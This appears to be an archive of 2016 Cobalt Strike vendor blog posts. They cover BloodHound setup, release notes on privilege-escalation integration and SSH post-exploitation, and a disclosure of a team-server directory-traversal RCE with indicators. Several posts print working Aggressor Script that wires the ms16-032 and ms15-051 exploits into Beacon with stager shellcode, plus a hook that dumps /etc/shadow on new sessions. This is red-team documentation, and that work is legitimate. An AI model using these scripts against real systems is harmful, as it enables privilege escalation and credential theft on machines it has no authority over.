h1

My First Go with BloodHound

December 14, 2016

I finally had a chance to sit down and play with BloodHound. This was an item on my hacker todo list for awhile now. In this blog post, I’ll take you through my initial steps setting up and using this tool. It’s my hope that this information will help you get started with BloodHound too.

What is BloodHound?

BloodHound is a tool to analyze and understand Active Directory Trust Relationships. For an offensive practitioner, this tool can highlight the hops you might take to reach a goal within a network. For a defensive practitioner, this tool is gold as it can show you the most likely paths an attacker might take. It’s a good exercise to decide which of these trust paths needs to exist and which you can eliminate.

BloodHound is open source (GPLv3) and its developers are Andy Robbins, Rohan Vazarkar, and Will Schroeder from Veris Group’s Adaptive Threat Division.

To get an initial taste of the tool, I recommend that you watch their Six Degrees of Domain Admin conference talk.

Setup

There are setup instructions on the BloodHound Wiki. These instructions do assume some familiarity with Neo4j. For the record, I have no familiarity with Neo4j. I found the Setting Up BloodHound on Debian Jessie post by Sanjiv Kawa very helpful. With Sanjiv’s information and the information on the BloodHound Wiki, I was able to get everything going on Kali Linux 2016 rolling without too much trouble.

Use

Once BloodHound is running, you’ll want to bring some data into it and give it a spin. There is an example database, but I chose to pull BloodHound data from my test environment and import it into the tool instead.

BloodHound comes with a PowerShell script with several cmdlets that make this process easy. Get-BloodHoundData collects the data BloodHound needs. This cmdlet will return a PowerShell object. It’s necessary to pipe this object to another cmdlet to take some action on it. The Export-BloodHoundCSV cmdlet will dump the BloodHound data into three CSV files.

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

The CSV files will exist on the target where the above cmdlets were run. To import them into BloodHound: download the CSV files and use the Upload function in BloodHound’s interface.

From this point, you’re ready to run queries against this data. BloodHound has several pre-built queries and it’s also very easy to ask BloodHound to give you a trust path from one identity or system to another.

In this video I demonstrate these steps:

Summary

I think BloodHound is one of the neatest things to come into the red teamer’s arsenal this year. While my demo network is easy to go through by hand, imagine the use of this tool in a much larger environment with more complex trusts. There’s a lot of power here.

h1

Cobalt Strike 3.6 – A Path for Privilege Escalation

December 8, 2016

Cobalt Strike 3.6 is now available. This release adds an API to use third-party privilege escalation exploits with Beacon and extends Malleable C2 to allow HTTP C&C without HTTP POST. This release also includes fixes and improvements for existing features.

Privilege Escalation API

This release adds an API to integrate privilege escalation exploits into Beacon’s elevate command.

Here’s what it looks like to integrate the PowerShell Empire variant of FuzzySec’s ms16-032 exploit into Beacon:

sub ms16_032_exploit {
	local('$script $oneliner');

	# acknowledge this command
	btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");

	# generate a PowerShell script to run our Beacon listener
	$script = artifact($2, "powershell");

	# host this script within this Beacon
	$oneliner = beacon_host_script($1, $script);

	# task Beacon to run this exploit with our one-liner that runs Beacon
	bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

	# give it another 10s to work.
	bpause($1, 10000);

	# handle staging
	bstage($1, $null, $2);
}

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

Let’s try something else! The Metasploit Framework implements many of its privilege escalation exploits as Reflective DLLs. The flow of these Metasploit privilege escalation exploits is: spawn a patsy process, inject the exploit logic into the patsy process, inject the payload stager shellcode into the patsy process, and pass a pointer to the injected shellcode when the exploit DLL is run.

What if it were possible to use these DLLs within Beacon, as-is? Thanks to Aggressor Script’s &bdllspawn function, this is now possible. This functions launches a Reflective DLL as a Beacon post-exploitation job. It can pass an arbitrary parameter to the DLL and it monitors STDOUT for output. The uses for this go far beyond privilege escalation! That said, here’s a script to use ms15_051_client_copy_image with Cobalt Strike’s Beacon payload:

sub ms15_051_exploit {
	# acknowledge this command
	btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");

	# tune our parameters based on the target arch
	if (-is64 $1) {
		$arch   = "x64";
		$dll    = "modules/cve-2015-1701.x64.dll";
	}
	else {
		$arch   = "x86";
		$dll    = "modules/cve-2015-1701.x86.dll";
	}

	# generate our shellcode
	$stager = shellcode($2, false, $arch);

	# make sure we have shellcode for this listener (some stagers are x86 only)
	if ($stager is $null) {
		berror($1, "No $arch stager for listener ' $+ $2 $+ '");
		return;
	}

	# spawn a Beacon post-ex job with the exploit DLL
	bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);

	# stage our payload (if this is a bind payload)
	bstage($1, $null, $2, $arch);
}

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

The goal of these functions is to make it easier for your team to integrate custom capability with Cobalt Strike and quickly adapt new exploits for use with Beacon as they become available.

The Elevate Kit

If you’d like more privilege escalation examples, check out the Elevate Kit. This is an Aggressor Script that demonstrates how to use PowerShell and Reflective DLL exploits with Cobalt Strike’s Beacon payload.

To use the Elevate Kit: download the elevate kit files and extract them to your Cobalt Strike client system. Go to Cobalt Strike -> Scripts, press Load, and select elevate.cna.

Within Beacon: type elevate by itself to see a list of loaded exploits. Type elevate [exploit name] [listener] to launch an exploit against the current Beacon session.

Malleable C2 – HTTP Beacon without HTTP POST

Take a look at this screenshot of Beacon communication with the webbug_getonly profile. Which screenshot is Beacon downloading tasks from Cobalt Strike? Which side is Beacon sending a response to Cobalt Strike?

riddle

This release adds a great deal of flexibility to Beacon’s HTTP communication via Malleable C2. You may now set the HTTP verb for Beacon’s http-get and http-post transactions. You may also push Beacon’s responses into the URI, a header, or a parameter. Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel.

If you like to challenge analysts and craft profiles, these changes are a lot of fun. These changes also make it possible to “emulate” the HTTP traffic of different malware with much more fidelity.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.6. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Important Trial Change

The Cobalt Strike 3.6 trial does not encrypt Beacon’s tasks and responses. The trial is built for evaluation in a lab environment. I would not use the 3.6 trial in a production environment. The licensed product does not have this limitation.

h1

Agentless Post Exploitation

November 3, 2016

Agentless Post Exploitation is using system administration capabilities to meet post-exploitation objectives, without an agent on the target. It’s just evil system administration. This talk is a survey of agentless post-exploitation techniques. It covers how to execute commands, upload/download files, harvest credential material, user exploitation, and pivoting. Enjoy!

You may also download the slides as well.

h1

Cobalt Strike Tapas II

October 19, 2016

This blog post is a collection of articles and links Cobalt Strike users may find interesting. Let’s jump into it:

1. Redirecting Cobalt Strike DNS Beacons

Redirectors are a popular offensive technique to obscure a C2 server’s actual source. They’re also nice because you can create and remove redirectors much easier than tearing down and standing up new C2 servers. I’ve written about HTTP redirectors in the past, but I’ve never had a good solution for DNS Beacons. rvrsh3ll to the rescue! Redirecting Cobalt Strike DNS Beacons shows how to stand up DNS redirectors for Cobalt Strike’s DNS Beacon.

2. Load Cobalt Strike’s Beacon via Windows NetShell

Using NetShell to Execute Evil DLLs and Persist on a Host describes how to load a “Helper DLL” into NetShell for persistence and code execution. Marc Smeets from Outflank B.V. adapted the post’s concepts into a POC to kick off Cobalt Strike’s Beacon with this technique.

3. MSSQL Agent Jobs for Command Execution

Optiv has a blog post that describes how to (ab)use MSSQL Agent Jobs to execute a payload. The payload in this post? Cobalt Strike’s Beacon. Here’s a demo of the attack:

4. portfwd command?

Cobalt Strike has reverse port forwards. Cobalt Strike also has SOCKS pivoting. Why not port forwards? Who knows! Fortunately, it’s easy enough to script a portfwd [target] [port] command with Aggressor Script. This command opens up [port] on the team server and forwards it through through the Beacon’s C2 path to the specified [host]:[port]. Unfortunately, the primitives exposed by CS’s team server don’t account for port bending. Maybe a future improvement?

h1

Cobalt Strike 3.5.1 – Important Security Update

October 3, 2016

Cobalt Strike 3.5.1 is now available. This release addresses a remote code execution vulnerability in Cobalt Strike. This vulnerability was discovered after a report of in-the-wild exploitation by a third-party. Cobalt Strike 3.5 and all prior versions are vulnerable. This includes 2.5 and below. Read last week’s advisory for more details.

Strategic Cyber LLC advises all Cobalt Strike users to update to Cobalt Strike 3.5.1.

Strategic Cyber LLC urges all Cobalt Strike users to sign-up for the Cobalt Strike Technical Notes mailing list. This list is Strategic Cyber LLC’s primary means to notify users of updates, security advisories, and to communicate other urgent notices.

The rest of this post describes the vulnerability and the hardening measures taken to mitigate it and its variants. This post also provides update advice for users who use older versions of Cobalt Strike to support long-running engagements.

The Vulnerability

Cobalt Strike’s team server is a controller for the Beacon post-exploitation payload. Cobalt Strike has options to serve and control the Beacon payload over HTTP, HTTPS, and DNS. Embedded within the Beacon payload are directives that tell the Beacon payload how to communicate with its team server.

By design, any party can download the Beacon payload and its embedded configuration. This allows a Beacon to bootstrap on a newly compromised system and take steps to authenticate and communicate with its team server. Conversely, this means the information a malicious actor needs to establish communication with a team server is available to them.

Once Beacon runs, its first job is to securely send a randomly generated session key and other information about itself (username, IP address, process ID, etc.) to its team server. Cobalt Strike refers to this information as session metadata.

After this, the Beacon periodically connects to its team server, asks for tasks, sends response directives, and goes back to sleep. These response directives are a limited set of actions that a Beacon may ask its team server to execute. Most of the responses simply format and present output to the user (e.g., keystrokes, output from a command, etc.).

Some response directives work together to support more complicated tasks. For example, there are three response directives that support file downloads.

The first file response directive starts a file download. This directive accepts as input an integer file ID, an integer that is the file length, and a string with the full path to the file on the remote system. This directive notifies users that a download has begun and it opens a handle to write the downloaded file to disk. This directive then associates the file ID with this handle.

The second file response directive accepts an integer file ID and a binary blob. This directive writes the binary blob to the file handle that maps to the file ID for the current session. A Beacon session may make multiple requests with this directive to send a large file to a team server.

The third file response directive accepts an integer file ID. This directive formally informs the team server that the file download is complete.

The team server does not map response directives to previous tasks. Once a client establishes a session, it has freedom to request execution of any response directives in any order or quantity.

The team server stores files it downloads into a fixed path. That path is downloads/[internal IP address of session]/[path/to/remote file].

The [path/to/remote file] input comes from the first file response directive. The team server took steps to sanitize this value in an attempt to prevent a directory traversal attack. These steps were not best practice for the Java platform, but some measure was in place. The information provided to Strategic Cyber LLC did not indicate that this value was the source of the directory traversal input.

What other input is there? There’s the [internal IP address of the session]. The team server uses this value to organize downloaded files and to organize its logs. Where does this value come from? It comes from the session metadata. Who controls the session metadata? The Beacon session controls this value.

This led to the root cause of the issue: The team server extracts information from the session metadata and makes that information available to other features as trusted information about that session. The team server did not validate these metadata parameters for expected form or sanitize these parameters for malicious inputs.

Hot Fix 1 took steps to mitigate the in-the-wild exploit and buy time for further investigation. Hot Fix 2 mitigated the identified root cause of this vulnerability and potential variants by adding strict checks and sanitization to the session metadata.

The Hardening Measures

This release restores functionality degraded by last week’s Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants.

Here are the changes:

1. This release reworks the download response directives to use randomly generated names for downloaded files stored on the team server. Information about the downloaded files (name, where they came from, etc.) is logged to logs/[date]/downloads.log. The View -> Downloads tab displays the real file name and original remote path. The Sync Files button works as it did prior to the Hot Fixes.

2. The team server now uses a safe path concatenation function throughout its codebase. This function compares the canonical paths of the parent and candidate result to make sure the result doesn’t break out of its parent.

3. This release adds a host_stage option to Malleable C2. This option controls whether or not Cobalt Strike hosts Beacon stages for download over HTTP, HTTPS, and DNS. If set to false, staging functionality will be unavailable, but this is useful for teams with a no-network staging policy.

4. The team server now refuses to process a session if any of its metadata fails validity checks. This is a minor improvement on the changes made in Hot Fix 2.

5. The team server now denies new sessions with no prior tasks access to most response directives.

Update Advice (for those with Live Sessions)

If you have live accesses and can’t afford to lose control of them, then you’ll want to approach an update with caution.

If you have Cobalt Strike 3.2 and below with live sessions, do not update the team server in place. The 3.5.1 team server cannot control Beacons in 3.2 and below. Migrate your accesses to a new server with 3.5.1.

If you have Cobalt Strike 3.3 with live sessions, you may stop your team server and update in place. After this update, you should migrate accesses to new infrastructure.

If you have Cobalt Strike 3.4 or 3.5 with live sessions, then you may stop your team server and update in place to 3.5.1. Cobalt Strike 3.5.1 can control sessions from 3.4 and 3.5 with little or no impact. The ssh and ssh-key commands will not work in Beacons from Cobalt Strike 3.4.

Update Instructions

Licensed users may use the update program to get the latest. Trial users must download the trial again.

To verify that you have Cobalt Strike 3.5.1, go to Help -> About. The software will report version 3.5.1.

h1

Cobalt Strike RCE. Active Exploitation Reported.

September 28, 2016

Summary

There is a remote code execution vulnerability in the Cobalt Strike team server.

A hot fix that breaks this particular exploit chain is available.

Customers may use the built-in update program to download an update with this hotfix. The latest trial download has this hotfix as well.

Strategic Cyber LLC is working on a comprehensive update for this issue. This comprehensive update will be available as soon as possible.

Update 29 Sept 2016: A second hot fix is available. The original hot fix was scoped to the reported attack chain. This second hot fix provides broader protection against the reported attack chain and potential variants. Cobalt Strike users are urged to update to the second hot fix until the comprehensive update is available.

Update 3 Oct 2016: Cobalt Strike 3.5.1 is now available. This release restores functionality degraded by the Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants. This is the comprehensive update to address this vulnerability and its variants.

What happened?

Strategic Cyber LLC received a report with suspicious indicators of active exploitation from a third-party. Strategic Cyber LLC investigated the indicators and determined that the likelihood of a remote code execution vulnerability is high.

The Vulnerability

The vulnerability is a directory traversal attack allowed by improper sanitization of parameters in the file download feature of the Beacon and SSH session payloads.

One may connect to a Cobalt Strike listener, download the payload stage, use the information in the stage to fake a session, and craft a message to force Cobalt Strike to write a file to an arbitrary location.

Potential Indicators of Compromise

These are the indicators that may indicate an exploitation attempt:

1. a GET to /aaaa was one of the reported indicators. While this is a valid URI to grab a payload stage–Cobalt Strike randomizes this URI when it downloads a payload stage.

2. The activity report showed downloads of .config, /etc/crontab, and /etc/cron.d/.hourly.

3. The reporter states that the attacker cleared logs from the server, cleared the downloaded files, and cleared the Cobalt Strike data model and log files.

Steps to Mitigate

Trial users: download the trial for Cobalt Strike 3.5.1.

Customers: run the built-in update program to update to Cobalt Strike 3.5.1.

If you have Beacons that are already deployed with Cobalt Strike 3.5, 3.5-hf1 or 3.5-hf2, you may update to this release without affecting them. The fix is entirely in the controller.

To verify that you have the hot fix, go to Help -> System Information. Cobalt Strike will report its version as 20161003. Help -> About will state 3.5.1.

What’s affected?

All versions of Cobalt Strike 3.5 and below (without the hotfix) are affected.

It’s likely this issue also exists in the deprecated Cobalt Strike 2.x and below as well.

What’s next?

Strategic Cyber LLC will issue a comprehensive fix for this issue as soon as possible. As more information is available, Strategic Cyber LLC will post it to two places:

1. Updates to this blog post.

2. Emails will also go out to the Cobalt Strike Technical Notes mailing list.

POC

Raphael Mudge, Strategic Cyber LLC
raffi@strategiccyber.com

Changelog

3 October 2016, 9:05am EST – Announce Cobalt Strike 3.5.1
29 September 2016, 5:45pm EST – Announce Hot Fix 2
28 September 2016, 7:05pm EST – Initial Announcement

h1

Cobalt Strike 3.5 – UNIX Post Exploitation

September 22, 2016

Cobalt Strike 3.5 is now available. This release adds an SSH client with a Beacon-like interface. This client allows you to conduct post-exploitation actions against UNIX targets from Cobalt Strike. In this post, I’ll take you through the specifics.

The SSH Client

Cobalt Strike’s SSH client is a Reflective DLL that receives tasks from and routes its output through a parent Beacon. This allows you to control UNIX targets from a compromised Windows system without interactive communication.

Use ssh [target] [user] [password] to launch an SSH session from a Beacon. You may also use ssh-key [target] [user] [/path/to/key.pem] to authenticate with a key.

The above will spawn Cobalt Strike’s SSH client and it will report any connection or authentication issues to the parent Beacon. If the connection succeeds, you will see a new session in Cobalt Strike’s display. This is an SSH session. Right-click on this session and press Interact to open the SSH console.

cobaltstrike_ssh2

Post-Exploitation

Cobalt Strike’s SSH sessions give you a basic set of post-exploitation features to run commands, upload/download files, and pivot.

The shell command will run the command and arguments you provide. The cd command will change the current working directory of future commands that you run. The pwd command will report the current working directory.

The upload command will upload a file to the current working directory. The download command will download a file. Files downloaded with the download command are available under View -> Downloads. You may also type downloads to see file downloads in progress. The cancel command will cancel a download that’s in progress.

SSH sessions support pivoting as well. Use the socks command to create a SOCKS server on your team server that forwards traffic through the SSH session. The rportfwd command will also create a reverse port forward that routes traffic through the SSH session and your Beacon chain.

There is one caveat to rportfwd: the rportfwd command asks the SSH daemon to bind to all interfaces. It’s quite likely the SSH daemon will override this and force the port to bind to localhost. You need to change the GatewayPorts option for the SSH daemon to yes or clientspecified.

Cobalt Strike does not support chaining through SSH sessions yet (e.g., SSH -> SSH or SSH -> Beacon). This is something I plan to investigate in the future. I’m quite interested in this feature.

Scripting

Cobalt Strike’s SSH client is a Beacon-compatible agent that uses an SSH library to execute its actions. From the perspective of Cobalt Strike’s team server, there’s little difference between an SSH session and a Beacon session. This makes SSH sessions integrate with Cobalt Strike’s logging, reporting, and scripting in a natural way. Yes, SSH sessions are scriptable with Aggressor Script!

SSH sessions fire an event when a new SSH session comes in. This is your chance to respond to new sessions with automated actions.

on ssh_initial {
   if (-isadmin $1) {
      binput($1, "cat /etc/shadow (initial)");
      bshell($1, "cat /etc/shadow");
   }
}

You’ll notice that I use &bshell from Aggressor Script to task the SSH session in the above example. This is possible because the SSH client expects the same task format as the Windows Beacon. SSH sessions only implement a subset of Beacon’s command set.

The ssh_alias keyword defines new commands for use within SSH sessions. These are similar to the Beacon aliases you might define with the alias keyword.

ssh_alias survey {
   bshell($1, "last -a");
   bshell($1, "uname -a");
   bshell($1, "id");
}

The above is a taste of what you can do with SSH sessions and Aggressor Script. I recommend consulting the Aggressor Script manual for more information.

The SSH client for post-exploitation is part of Cobalt Strike 3.5. Check out the release notes to see a full list of what’s new in Cobalt Strike 3.5. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.